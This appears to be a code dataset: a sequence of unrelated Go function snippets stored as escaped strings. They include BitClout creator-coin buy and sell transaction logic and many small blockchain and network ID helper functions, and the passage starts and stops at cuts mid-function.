BitClout locked after completely selling. This in turn made the Bancor Curve unstable.\n\n\t\tif creatorCoinToSellNanos == existingProfileEntry.CoinsInCirculationNanos {\n\t\t\tbitCloutBeforeFeesNanos = existingProfileEntry.BitCloutLockedNanos\n\t\t} else {\n\t\t\t// Calculate the amount to return based on the Bancor Curve.\n\t\t\tbitCloutBeforeFeesNanos = CalculateBitCloutToReturn(\n\t\t\t\tcreatorCoinToSellNanos, existingProfileEntry.CoinsInCirculationNanos,\n\t\t\t\texistingProfileEntry.BitCloutLockedNanos, bav.Params)\n\n\t\t\t// If the amount the formula is offering is more than what is locked in the\n\t\t\t// profile, then truncate it down. This addresses an edge case where our\n\t\t\t// equations may return *too much* BitClout due to rounding errors.\n\t\t\tif bitCloutBeforeFeesNanos > existingProfileEntry.BitCloutLockedNanos {\n\t\t\t\tbitCloutBeforeFeesNanos = existingProfileEntry.BitCloutLockedNanos\n\t\t\t}\n\t\t}\n\t}\n\n\t// Save all the old values from the CoinEntry before we potentially\n\t// update them. Note that CoinEntry doesn't contain any pointers and so\n\t// a direct copy is OK.\n\tprevCoinEntry := existingProfileEntry.CoinEntry\n\n\t// Subtract the amount of BitClout the seller is getting from the amount of\n\t// BitClout locked in the profile. Sanity-check that it does not exceed the\n\t// total amount of BitClout locked.\n\tif bitCloutBeforeFeesNanos > existingProfileEntry.BitCloutLockedNanos {\n\t\treturn 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: BitClout nanos seller \"+\n\t\t\t\"would get %v exceeds BitClout nanos locked in profile %v\",\n\t\t\tbitCloutBeforeFeesNanos, existingProfileEntry.BitCloutLockedNanos)\n\t}\n\texistingProfileEntry.BitCloutLockedNanos -= bitCloutBeforeFeesNanos\n\n\t// Subtract the number of coins the seller is selling from the number of coins\n\t// in circulation. Sanity-check that it does not exceed the number of coins\n\t// currently in circulation.\n\tif creatorCoinToSellNanos > existingProfileEntry.CoinsInCirculationNanos {\n\t\treturn 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: CreatorCoin nanos seller \"+\n\t\t\t\"is selling %v exceeds CreatorCoin nanos in circulation %v\",\n\t\t\tcreatorCoinToSellNanos, existingProfileEntry.CoinsInCirculationNanos)\n\t}\n\texistingProfileEntry.CoinsInCirculationNanos -= creatorCoinToSellNanos\n\n\t// Check if this is a complete sell of the seller's remaining creator coins\n\tif sellerBalanceEntry.BalanceNanos == creatorCoinToSellNanos {\n\t\texistingProfileEntry.NumberOfHolders -= 1\n\t}\n\n\t// If the number of holders has reached zero, we clear all the BitCloutLockedNanos and\n\t// creatorCoinToSellNanos to ensure that the profile is reset to its normal initial state.\n\t// It's okay to modify these values because they are saved in the PrevCoinEntry.\n\tif existingProfileEntry.NumberOfHolders == 0 {\n\t\texistingProfileEntry.BitCloutLockedNanos = 0\n\t\texistingProfileEntry.CoinsInCirculationNanos = 0\n\t}\n\n\t// Save the seller's balance before we modify it. We don't need to save the\n\t// creator's BalancEntry on a sell because the creator's balance will not\n\t// be modified.\n\tprevTransactorBalanceEntry := *sellerBalanceEntry\n\n\t// Subtract the number of coins the seller is selling from the number of coins\n\t// they HODL. Note that we already checked that this amount does not exceed the\n\t// seller's balance above. Note that this amount equals sellerBalanceEntry.BalanceNanos\n\t// in the event where the requested remaining creator coin balance dips\n\t// below CreatorCoinAutoSellThresholdNanos.\n\tsellerBalanceEntry.BalanceNanos -= creatorCoinToSellNanos\n\n\t// If the seller's balance will be zero after this transaction, set HasPurchased to false\n\tif sellerBalanceEntry.BalanceNanos == 0 {\n\t\tsellerBalanceEntry.HasPurchased = false\n\t}\n\n\t// Set the new BalanceEntry in our mappings for the seller and set the\n\t// ProfileEntry mappings as well since everything is up to date.\n\tbav._setBalanceEntryMappings(sellerBalanceEntry)\n\tbav._setProfileEntryMappings(existingProfileEntry)\n\n\t// Charge a fee on the BitClout the seller is getting to hedge against\n\t// floating point errors\n\tbitCloutAfterFeesNanos := IntDiv(\n\t\tIntMul(\n\t\t\tbig.NewInt(int64(bitCloutBeforeFeesNanos)),\n\t\t\tbig.NewInt(int64(100*100-bav.Params.CreatorCoinTradeFeeBasisPoints))),\n\t\tbig.NewInt(100*100)).Uint64()\n\n\t// Check that the seller is getting back an amount of BitClout that is\n\t// greater than or equal to what they expect. Note that this check is\n\t// skipped if the min amount specified is zero.\n\tif txMeta.MinBitCloutExpectedNanos != 0 &&\n\t\tbitCloutAfterFeesNanos < txMeta.MinBitCloutExpectedNanos {\n\n\t\treturn 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorBitCloutReceivedIsLessThanMinimumSetBySeller,\n\t\t\t\"_connectCreatorCoin: BitClout nanos that would be given to seller: \"+\n\t\t\t\t\"%v, amount user needed: %v\",\n\t\t\tbitCloutAfterFeesNanos, txMeta.MinBitCloutExpectedNanos)\n\t}\n\n\t// Now that we have all the information we need, save a UTXO allowing the user to\n\t// spend the BitClout from the sale in the future.\n\toutputKey := UtxoKey{\n\t\tTxID: *txn.Hash(),\n\t\t// The output is like an extra virtual output at the end of the transaction.\n\t\tIndex: uint32(len(txn.TxOutputs)),\n\t}\n\tutxoEntry := UtxoEntry{\n\t\tAmountNanos: bitCloutAfterFeesNanos,\n\t\tPublicKey: txn.PublicKey,\n\t\tBlockHeight: blockHeight,\n\t\tUtxoType: UtxoTypeCreatorCoinSale,\n\t\tUtxoKey: &outputKey,\n\t\t// We leave the position unset and isSpent to false by default.\n\t\t// The position will be set in the call to _addUtxo.\n\t}\n\t// If we have a problem adding this utxo return an error but don't\n\t// mark this block as invalid since it's not a rule error and the block\n\t// could therefore benefit from being processed in the future.\n\t_, err = bav._addUtxo(&utxoEntry)\n\tif err != nil {\n\t\treturn 0, 0, 0, nil, errors.Wrapf(\n\t\t\terr, \"_connectBitcoinExchange: Problem adding output utxo\")\n\t}\n\t// Note that we don't need to save a UTXOOperation for the added UTXO\n\t// because no extra information is needed in order to roll it back.\n\n\t// Add an operation to the list at the end indicating we've executed a\n\t// CreatorCoin txn. Save the previous state of the CoinEntry for easy\n\t// reversion during disconnect.\n\tutxoOpsForTxn = append(utxoOpsForTxn, &UtxoOperation{\n\t\tType: OperationTypeCreatorCoin,\n\t\tPrevCoinEntry: &prevCoinEntry,\n\t\tPrevTransactorBalanceEntry: &prevTransactorBalanceEntry,\n\t\tPrevCreatorBalanceEntry: nil,\n\t})\n\n\t// The BitClout that the user gets from selling their creator coin counts\n\t// as both input and output in the transaction.\n\treturn totalInput + bitCloutAfterFeesNanos,\n\t\ttotalOutput + bitCloutAfterFeesNanos,\n\t\tbitCloutAfterFeesNanos, utxoOpsForTxn, nil\n}", "func (_InboxHelperTester *InboxHelperTesterSession) ChainId(rollup common.Address) (*big.Int, error) {\n\treturn _InboxHelperTester.Contract.ChainId(&_InboxHelperTester.CallOpts, rollup)\n}", "func GetChainID(index int) string {\n\treturn ChainIDPrefix + strconv.Itoa(index)\n}", "func makeId(allowedTo []common.Endpoint, name string) string {\n\tvar data string\n\tdata = name\n\n\tfor _, e := range allowedTo {\n\t\tif data == \"\" {\n\t\t\tdata = fmt.Sprintf(\"%s\", e)\n\t\t} else {\n\t\t\tdata = fmt.Sprintf(\"%s\\n%s\", data, e)\n\t\t}\n\t}\n\n\thasher := sha1.New()\n\thasher.Write([]byte(data))\n\tsum := hasher.Sum(nil)\n\n\t// Taking 6 bytes of a hash which is 12 chars length\n\treturn fmt.Sprint(hex.EncodeToString(sum[:6]))\n}", "func DecodeCoinID(coinID []byte) (uint16, common.Address, []byte, error) {\n\tif len(coinID) != coinIDSize {\n\t\treturn 0, common.Address{}, nil, fmt.Errorf(\"coin ID wrong length. expected %d, got %d\",\n\t\t\tcoinIDSize, len(coinID))\n\t}\n\tsecretHash := make([]byte, 32)\n\tcopy(secretHash, coinID[22:])\n\treturn binary.BigEndian.Uint16(coinID[:2]), common.BytesToAddress(coinID[2:22]), secretHash, nil\n}", "func (_InboxHelperTester *InboxHelperTesterCallerSession) ChainId(rollup common.Address) (*big.Int, error) {\n\treturn _InboxHelperTester.Contract.ChainId(&_InboxHelperTester.CallOpts, rollup)\n}", "func ConvOutPoint(op *types.OutPoint) *corepb.OutPoint {\n\treturn &corepb.OutPoint{\n\t\tHash: op.Hash[:],\n\t\tIndex: op.Index,\n\t}\n}", "func PeerIDFromConn(conn net.Conn) (spiffeid.ID, error) {\n\tif getter, ok := conn.(PeerIDGetter); ok {\n\t\treturn getter.PeerID()\n\t}\n\treturn spiffeid.ID{}, spiffetlsErr.New(\"connection does not expose peer ID\")\n}", "func (u utxo) convert() *bitcoin.UnspentTransactionOutput {\n\ttransactionHash, err := bitcoin.NewHashFromString(\n\t\tu.Outpoint.TransactionHash,\n\t\tbitcoin.ReversedByteOrder,\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn &bitcoin.UnspentTransactionOutput{\n\t\tOutpoint: &bitcoin.TransactionOutpoint{\n\t\t\tTransactionHash: transactionHash,\n\t\t\tOutputIndex: u.Outpoint.OutputIndex,\n\t\t},\n\t\tValue: u.Value,\n\t}\n}", "func (o *PiggyBankEvent) GetCurrencyId() string {\n\tif o == nil || o.CurrencyId == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.CurrencyId\n}", "func GenerateCoinKey(addr string) string {\n\treturn fmt.Sprintf(\"coin_addr_%s\", addr)\n}", "func DecodeOutPoint(id string) (*corepb.OutPoint, error) {\n\tbuf := base58.Decode(id)\n\tif len(buf) != crypto.HashSize+5 {\n\t\treturn nil, fmt.Errorf(\"decode tokenID error, length(%d) mismatch, data: %s\",\n\t\t\tcrypto.HashSize+5, id)\n\t}\n\tif buf[crypto.HashSize] != ':' {\n\t\treturn nil, fmt.Errorf(\"token id delimiter want ':', got: %c, data: %s\",\n\t\t\tbuf[crypto.HashSize], id)\n\t}\n\tfor i, j := 0, crypto.HashSize-1; i < j; i, j = i+1, j-1 {\n\t\tbuf[i], buf[j] = buf[j], buf[i]\n\t}\n\tindex := binary.LittleEndian.Uint32(buf[crypto.HashSize+1:])\n\thash := new(crypto.HashType)\n\thash.SetBytes(buf[:crypto.HashSize])\n\treturn NewPbOutPoint(hash, index), nil\n}", "func EncodeOutPoint(op *corepb.OutPoint) string {\n\tbuf := make([]byte, len(op.Hash))\n\tcopy(buf, op.Hash[:])\n\t// reverse bytes\n\tfor i, j := 0, len(buf)-1; i < j; i, j = i+1, j-1 {\n\t\tbuf[i], buf[j] = buf[j], buf[i]\n\t}\n\t// append separator ':'\n\tbuf = append(buf, ':')\n\t// put index\n\tb := make([]byte, 4)\n\tbinary.LittleEndian.PutUint32(b, op.Index)\n\tbuf = append(buf, b...)\n\n\treturn base58.Encode(buf)\n}", "func (o GetChainsChainOutput) Id() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetChainsChain) string { return v.Id }).(pulumi.StringOutput)\n}", "func paymentID(height uint32, createdOnNano int64, account string) []byte {\n\tbuf := bytes.Buffer{}\n\tbuf.WriteString(hex.EncodeToString(heightToBigEndianBytes(height)))\n\tbuf.WriteString(hex.EncodeToString(nanoToBigEndianBytes(createdOnNano)))\n\tbuf.WriteString(account)\n\treturn buf.Bytes()\n}", "func (_TokensNetwork *TokensNetworkSession) ChainId() (*big.Int, error) {\n\treturn _TokensNetwork.Contract.ChainId(&_TokensNetwork.CallOpts)\n}", "func (*backend) CalcID(p *channel.Params) (id channel.ID) {\n\tw := sha256.New()\n\n\t// Write Parts\n\tfor _, addr := range p.Parts {\n\t\tif err := addr.Encode(w); err != nil {\n\t\t\tlog.Panic(\"Could not write to sha256 hasher\")\n\t\t}\n\t}\n\n\terr := perunio.Encode(w, p.Nonce, p.ChallengeDuration, channel.OptAppEnc{App: p.App})\n\tif err != nil {\n\t\tlog.Panic(\"Could not write to sha256 hasher\")\n\t}\n\n\tif copy(id[:], w.Sum(nil)) != 32 {\n\t\tlog.Panic(\"Could not copy id\")\n\t}\n\treturn\n}", "func (tb *transactionBuilder) AddCoinOutput(output types.CoinOutput) uint64 {\n\ttb.transaction.CoinOutputs = append(tb.transaction.CoinOutputs, output)\n\treturn uint64(len(tb.transaction.CoinOutputs) - 1)\n}", "func (o *CreateRouteRequest) GetNetPeeringId() string {\n\tif o == nil || o.NetPeeringId == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.NetPeeringId\n}", "func (sc *Contract) Uid() uint64 {\n\treturn (uint64(sc.TimeStamp)&0xFFFFFFFFFF)<<24 | (binary.BigEndian.Uint64(sc.TransactionHash[:8]) & 0xFFFFFF)\n}", "func (c *RPCClient) Checkpoint(where string) (checkpointID int, err error) {\n\tvar out CheckpointOut\n\terr = c.call(\"Checkpoint\", CheckpointIn{where}, &out)\n\treturn out.ID, err\n}", "func (s *Simulator) FormatCoin(coin sdk.Coin) string {\n\treturn s.FormatIntDecimals(coin.Amount, s.stakingAmountDecimalsRatio) + coin.Denom\n}", "func (o SubnetOutput) OwnerId() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Subnet) pulumi.StringOutput { return v.OwnerId }).(pulumi.StringOutput)\n}", "func (_TokensNetwork *TokensNetworkCallerSession) ChainId() (*big.Int, error) {\n\treturn _TokensNetwork.Contract.ChainId(&_TokensNetwork.CallOpts)\n}", "func (o *CommitteeInfoResponse) GetChainIdOk() (*string, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn &o.ChainId, true\n}", "func (c *swapCoin) ID() []byte {\n\treturn c.txHash.Bytes() // c.txHash[:]\n}", "func (del Delegation) ToStakerId() hexutil.Big {\n\tif del.Delegation.ToStakerId == nil {\n\t\treturn hexutil.Big{}\n\t}\n\treturn *del.Delegation.ToStakerId\n}", "func (l *Loader) checkpointID() string {\n\tif len(l.cfg.SourceID) > 0 {\n\t\treturn l.cfg.SourceID\n\t}\n\tdir, err := filepath.Abs(l.cfg.Dir)\n\tif err != nil {\n\t\tl.logger.Warn(\"get abs dir\", zap.String(\"directory\", l.cfg.Dir), log.ShortError(err))\n\t\treturn l.cfg.Dir\n\t}\n\treturn shortSha1(dir)\n}", "func (s MeshService) NetID(ctx context.Context, in *pb.NetIDRequest) (*pb.NetIDResponse, error) {\n\tlog.Info(\"GRPC MeshService.NetId\")\n\treturn nil, nil\n}", "func GetChainID(ctx Context) string {\n\tif x := ctx.Value(contextKeyChainID); x == nil {\n\t\tpanic(\"Chain id is not in context\")\n\t}\n\treturn ctx.Value(contextKeyChainID).(string)\n}", "func (l *LightningLoader) checkpointID() string {\n\tif len(l.cfg.SourceID) > 0 {\n\t\treturn l.cfg.SourceID\n\t}\n\tdir, err := filepath.Abs(l.cfg.Dir)\n\tif err != nil {\n\t\tl.logger.Warn(\"get abs dir\", zap.String(\"directory\", l.cfg.Dir), log.ShortError(err))\n\t\treturn l.cfg.Dir\n\t}\n\treturn shortSha1(dir)\n}", "func (m *IBTP) DstChainID() string {\n\t_, chainID, _, _ := parseFullServiceID(m.To)\n\treturn chainID\n}", "func (n *NetImpl) peeringID(remoteNetID string) string {\n\tif n.isInbound(remoteNetID) {\n\t\treturn remoteNetID + \"<\" + n.myNetID\n\t}\n\treturn n.myNetID + \"<\" + remoteNetID\n}", "func (t *Transaction) createID() (string, error) {\n\n\t// Strip ID of txn\n\ttn := &Transaction{\n\t\tID: nil,\n\t\tVersion: t.Version,\n\t\tInputs: t.Inputs,\n\t\tOutputs: t.Outputs,\n\t\tOperation: t.Operation,\n\t\tAsset: t.Asset,\n\t\tMetadata: t.Metadata,\n\t}\n\t// Serialize transaction - encoding/json follows RFC7159 and BDB marshalling\n\tdbytes, err := tn.JSON()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Return hash of serialized txn object\n\th := sha3.Sum256(dbytes)\n\treturn hex.EncodeToString(h[:]), nil\n}", "func ExtractIDFromPointer(pi ps.PeerInfo) (string, error) {\n\tif len(pi.Addrs) == 0 {\n\t\treturn \"\", errors.New(\"PeerInfo object has no addresses\")\n\t}\n\taddr := pi.Addrs[0]\n\tif addr.Protocols()[0].Code != ma.P_IPFS {\n\t\treturn \"\", errors.New(\"IPFS protocol not found in address\")\n\t}\n\tval, err := addr.ValueForProtocol(ma.P_IPFS)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\th, err := mh.FromB58String(val)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\td, err := mh.Decode(h)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(d.Digest), nil\n}", "func newTrackInverter(sender string, oid model.ObjectID, address model.ObjectAddress, config model.Object, log zerolog.Logger, devService devices.Service) (Object, error) {\n\tif config.Type != model.ObjectTypeTrackInverter {\n\t\treturn nil, model.InvalidArgument(\"Invalid object type '%s'\", config.Type)\n\t}\n\tgetGPIOAndPin := func(connectionName model.ConnectionName) (*phaseRelay, error) {\n\t\tconn, ok := config.ConnectionByName(connectionName)\n\t\tif !ok {\n\t\t\treturn nil, model.InvalidArgument(\"Pin '%s' not found in object '%s'\", connectionName, oid)\n\t\t}\n\t\tif len(conn.Pins) != 1 {\n\t\t\treturn nil, model.InvalidArgument(\"Pin '%s' must have 1 pin in object '%s', got %d\", connectionName, oid, len(conn.Pins))\n\t\t}\n\t\tdevice, ok := devService.DeviceByID(conn.Pins[0].DeviceId)\n\t\tif !ok {\n\t\t\treturn nil, model.InvalidArgument(\"Device '%s' not found in object '%s'\", conn.Pins[0].DeviceId, oid)\n\t\t}\n\t\tgpio, ok := device.(devices.GPIO)\n\t\tif !ok {\n\t\t\treturn nil, model.InvalidArgument(\"Device '%s' in object '%s' is not a GPIO\", conn.Pins[0].DeviceId, oid)\n\t\t}\n\t\tpin := conn.Pins[0].Index\n\t\tif pin < 1 || uint(pin) > gpio.PinCount() {\n\t\t\treturn nil, model.InvalidArgument(\"Pin '%s' in object '%s' is out of range. Got %d. Range [1..%d]\", connectionName, oid, pin, gpio.PinCount())\n\t\t}\n\t\tinvert := conn.GetBoolConfig(model.ConfigKeyInvert)\n\t\treturn &phaseRelay{\n\t\t\tdevice: gpio,\n\t\t\tpin: pin,\n\t\t\tinvert: invert,\n\t\t}, nil\n\t}\n\tobj := &trackInverter{\n\t\tlog: log,\n\t\taddress: address,\n\t}\n\tvar err error\n\tif obj.relayOutAInA, err = getGPIOAndPin(model.ConnectionNameRelayOutAInA); err != nil {\n\t\treturn nil, err\n\t}\n\tif obj.relayOutAInB, err = getGPIOAndPin(model.ConnectionNameRelayOutAInB); err != nil {\n\t\treturn nil, err\n\t}\n\tif obj.relayOutBInA, err = getGPIOAndPin(model.ConnectionNameRelayOutBInA); err != nil {\n\t\treturn nil, err\n\t}\n\tif obj.relayOutBInB, err = getGPIOAndPin(model.ConnectionNameRelayOutBInB); err != nil {\n\t\treturn nil, err\n\t}\n\treturn obj, nil\n}", "func (o *TransactionSplit) GetCurrencyId() string {\n\tif o == nil || o.CurrencyId.Get() == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.CurrencyId.Get()\n}", "func (bav *UtxoView) HelpConnectCreatorCoinBuy(\n\ttxn *MsgBitCloutTxn, txHash *BlockHash, blockHeight uint32, verifySignatures bool) (\n\t_totalInput uint64, _totalOutput uint64, _creatorCoinReturnedNanos uint64, _founderRewardNanos uint64,\n\t_utxoOps []*UtxoOperation, _err error) {\n\n\t// Connect basic txn to get the total input and the total output without\n\t// considering the transaction metadata.\n\ttotalInput, totalOutput, utxoOpsForTxn, err := bav._connectBasicTransfer(\n\t\ttxn, txHash, blockHeight, verifySignatures)\n\tif err != nil {\n\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(err, \"_connectCreatorCoin: \")\n\t}\n\n\t// Force the input to be non-zero so that we can prevent replay attacks. If\n\t// we didn't do this then someone could replay your sell over and over again\n\t// to force-convert all your creator coin into BitClout. Think about it.\n\tif totalInput == 0 {\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinRequiresNonZeroInput\n\t}\n\n\t// At this point the inputs and outputs have been processed. Now we\n\t// need to handle the metadata.\n\n\t// Check that the specified profile public key is valid and that a profile\n\t// corresponding to that public key exists.\n\ttxMeta := txn.TxnMeta.(*CreatorCoinMetadataa)\n\tif len(txMeta.ProfilePublicKey) != btcec.PubKeyBytesLenCompressed {\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinInvalidPubKeySize\n\t}\n\n\t// Dig up the profile. It must exist for the user to be able to\n\t// operate on its coin.\n\texistingProfileEntry := bav.GetProfileEntryForPublicKey(txMeta.ProfilePublicKey)\n\tif existingProfileEntry == nil || existingProfileEntry.isDeleted {\n\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinOperationOnNonexistentProfile,\n\t\t\t\"_connectCreatorCoin: Profile pub key: %v %v\",\n\t\t\tPkToStringMainnet(txMeta.ProfilePublicKey), PkToStringTestnet(txMeta.ProfilePublicKey))\n\t}\n\n\t// At this point we are confident that we have a profile that\n\t// exists that corresponds to the profile public key the user\n\t// provided.\n\n\t// Check that the amount of BitClout being traded for creator coin is\n\t// non-zero.\n\tbitCloutBeforeFeesNanos := txMeta.BitCloutToSellNanos\n\tif bitCloutBeforeFeesNanos == 0 {\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustTradeNonZeroBitClout\n\t}\n\t// The amount of BitClout being traded counts as output being spent by\n\t// this transaction, so add it to the transaction output and check that\n\t// the resulting output does not exceed the total input.\n\t//\n\t// Check for overflow of the outputs before adding.\n\tif totalOutput > math.MaxUint64-bitCloutBeforeFeesNanos {\n\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinTxnOutputWithInvalidBuyAmount,\n\t\t\t\"_connectCreatorCoin: %v\", bitCloutBeforeFeesNanos)\n\t}\n\ttotalOutput += bitCloutBeforeFeesNanos\n\t// It's assumed the caller code will check that things like output <= input,\n\t// but we check it here just in case...\n\tif totalInput < totalOutput {\n\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinTxnOutputExceedsInput,\n\t\t\t\"_connectCreatorCoin: Input: %v, Output: %v\", totalInput, totalOutput)\n\t}\n\t// At this point we have verified that the output is sufficient to cover\n\t// the amount the user wants to use to buy the creator's coin.\n\n\t// Now we burn some BitClout before executing the creator coin buy. Doing\n\t// this guarantees that floating point errors in our subsequent calculations\n\t// will not result in a user being able to print infinite amounts of BitClout\n\t// through the protocol.\n\t//\n\t// TODO(performance): We use bigints to avoid overflow in the intermediate\n\t// stages of the calculation but this most likely isn't necessary. This\n\t// formula is equal to:\n\t// - bitCloutAfterFeesNanos = bitCloutBeforeFeesNanos * (CreatorCoinTradeFeeBasisPoints / (100*100))\n\tbitCloutAfterFeesNanos := IntDiv(\n\t\tIntMul(\n\t\t\tbig.NewInt(int64(bitCloutBeforeFeesNanos)),\n\t\t\tbig.NewInt(int64(100*100-bav.Params.CreatorCoinTradeFeeBasisPoints))),\n\t\tbig.NewInt(100*100)).Uint64()\n\n\t// The amount of BitClout being convertend must be nonzero after fees as well.\n\tif bitCloutAfterFeesNanos == 0 {\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustTradeNonZeroBitCloutAfterFees\n\t}\n\n\t// Figure out how much bitclout goes to the founder.\n\t// Note: If the user performing this transaction has the same public key as the\n\t// profile being bought, we do not cut a founder reward.\n\tbitcloutRemainingNanos := uint64(0)\n\tbitcloutFounderRewardNanos := uint64(0)\n\tif blockHeight > BitCloutFounderRewardBlockHeight &&\n\t\t!reflect.DeepEqual(txn.PublicKey, existingProfileEntry.PublicKey) {\n\n\t\t// This formula is equal to:\n\t\t// bitCloutFounderRewardNanos = bitcloutAfterFeesNanos * creatorBasisPoints / (100*100)\n\t\tbitcloutFounderRewardNanos = IntDiv(\n\t\t\tIntMul(\n\t\t\t\tbig.NewInt(int64(bitCloutAfterFeesNanos)),\n\t\t\t\tbig.NewInt(int64(existingProfileEntry.CreatorBasisPoints))),\n\t\t\tbig.NewInt(100*100)).Uint64()\n\n\t\t// Sanity check, just to be extra safe.\n\t\tif bitCloutAfterFeesNanos < bitcloutFounderRewardNanos {\n\t\t\treturn 0, 0, 0, 0, nil, fmt.Errorf(\"HelpConnectCreatorCoinBuy: bitCloutAfterFeesNanos\"+\n\t\t\t\t\" less than bitCloutFounderRewardNanos: %v %v\",\n\t\t\t\tbitCloutAfterFeesNanos, bitcloutFounderRewardNanos)\n\t\t}\n\n\t\tbitcloutRemainingNanos = bitCloutAfterFeesNanos - bitcloutFounderRewardNanos\n\t} else {\n\t\tbitcloutRemainingNanos = bitCloutAfterFeesNanos\n\t}\n\n\tif bitcloutRemainingNanos == 0 {\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustTradeNonZeroBitCloutAfterFounderReward\n\t}\n\n\t// If no BitClout is currently locked in the profile then we use the\n\t// polynomial equation to mint creator coins. We do this because the\n\t// Uniswap/Bancor equations don't work when zero coins have been minted,\n\t// and so we have to special case here. See this wolfram sheet for all\n\t// the equations with tests:\n\t// - https://pastebin.com/raw/1EmgeW56\n\t//\n\t// Note also that we use big floats with a custom math library in order\n\t// to guarantee that all nodes get the same result regardless of what\n\t// architecture they're running on. If we didn't do this, then some nodes\n\t// could round floats or use different levels of precision for intermediate\n\t// results and get different answers which would break consensus.\n\tcreatorCoinToMintNanos := CalculateCreatorCoinToMint(\n\t\tbitcloutRemainingNanos, existingProfileEntry.CoinsInCirculationNanos,\n\t\texistingProfileEntry.BitCloutLockedNanos, bav.Params)\n\n\t// Check if the total amount minted satisfies CreatorCoinAutoSellThresholdNanos.\n\t// This makes it prohibitively expensive for a user to buy themself above the\n\t// CreatorCoinAutoSellThresholdNanos and then spam tiny nano BitClout creator\n\t// coin purchases causing the effective Bancor Creator Coin Reserve Ratio to drift.\n\tif blockHeight > SalomonFixBlockHeight {\n\t\tif creatorCoinToMintNanos < bav.Params.CreatorCoinAutoSellThresholdNanos {\n\t\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustSatisfyAutoSellThresholdNanos\n\t\t}\n\t}\n\n\t// At this point, we know how much creator coin we are going to mint.\n\t// Now it's just a matter of adjusting our bookkeeping and potentially\n\t// giving the creator a founder reward.\n\n\t// Save all the old values from the CoinEntry before we potentially\n\t// update them. Note that CoinEntry doesn't contain any pointers and so\n\t// a direct copy is OK.\n\tprevCoinEntry := existingProfileEntry.CoinEntry\n\n\t// Increment BitCloutLockedNanos. Sanity-check that we're not going to\n\t// overflow.\n\tif existingProfileEntry.BitCloutLockedNanos > math.MaxUint64-bitcloutRemainingNanos {\n\t\treturn 0, 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: Overflow while summing\"+\n\t\t\t\"BitCloutLockedNanos and bitCloutAfterFounderRewardNanos: %v %v\",\n\t\t\texistingProfileEntry.BitCloutLockedNanos, bitcloutRemainingNanos)\n\t}\n\texistingProfileEntry.BitCloutLockedNanos += bitcloutRemainingNanos\n\n\t// Increment CoinsInCirculation. Sanity-check that we're not going to\n\t// overflow.\n\tif existingProfileEntry.CoinsInCirculationNanos > math.MaxUint64-creatorCoinToMintNanos {\n\t\treturn 0, 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: Overflow while summing\"+\n\t\t\t\"CoinsInCirculationNanos and creatorCoinToMintNanos: %v %v\",\n\t\t\texistingProfileEntry.CoinsInCirculationNanos, creatorCoinToMintNanos)\n\t}\n\texistingProfileEntry.CoinsInCirculationNanos += creatorCoinToMintNanos\n\n\t// Calculate the *Creator Coin nanos* to give as a founder reward.\n\tcreatorCoinFounderRewardNanos := uint64(0)\n\tif blockHeight > BitCloutFounderRewardBlockHeight {\n\t\t// Do nothing. The chain stopped minting creator coins as a founder reward for\n\t\t// creators at this blockheight. It gives BitClout as a founder reward now instead.\n\n\t} else if blockHeight > SalomonFixBlockHeight {\n\t\t// Following the SalomonFixBlockHeight block, creator coin buys continuously mint\n\t\t// a founders reward based on the CreatorBasisPoints.\n\n\t\tcreatorCoinFounderRewardNanos = IntDiv(\n\t\t\tIntMul(\n\t\t\t\tbig.NewInt(int64(creatorCoinToMintNanos)),\n\t\t\t\tbig.NewInt(int64(existingProfileEntry.CreatorBasisPoints))),\n\t\t\tbig.NewInt(100*100)).Uint64()\n\t} else {\n\t\t// Up to and including the SalomonFixBlockHeight block, creator coin buys only minted\n\t\t// a founders reward if the creator reached a new all time high.\n\n\t\tif existingProfileEntry.CoinsInCirculationNanos > existingProfileEntry.CoinWatermarkNanos {\n\t\t\t// This value must be positive if we made it past the if condition above.\n\t\t\twatermarkDiff := existingProfileEntry.CoinsInCirculationNanos - existingProfileEntry.CoinWatermarkNanos\n\t\t\t// The founder reward is computed as a percentage of the \"net coins created,\"\n\t\t\t// which is equal to the watermarkDiff\n\t\t\tcreatorCoinFounderRewardNanos = IntDiv(\n\t\t\t\tIntMul(\n\t\t\t\t\tbig.NewInt(int64(watermarkDiff)),\n\t\t\t\t\tbig.NewInt(int64(existingProfileEntry.CreatorBasisPoints))),\n\t\t\t\tbig.NewInt(100*100)).Uint64()\n\t\t}\n\t}\n\n\t// CoinWatermarkNanos is no longer used, however it may be helpful for\n\t// future analytics or updates so we continue to update it here.\n\tif existingProfileEntry.CoinsInCirculationNanos > existingProfileEntry.CoinWatermarkNanos {\n\t\texistingProfileEntry.CoinWatermarkNanos = existingProfileEntry.CoinsInCirculationNanos\n\t}\n\n\t// At this point, founderRewardNanos will be non-zero if and only if we increased\n\t// the watermark *and* there was a non-zero CreatorBasisPoints set on the CoinEntry\n\t// *and* the blockHeight is less than BitCloutFounderRewardBlockHeight.\n\n\t// The user gets whatever's left after we pay the founder their 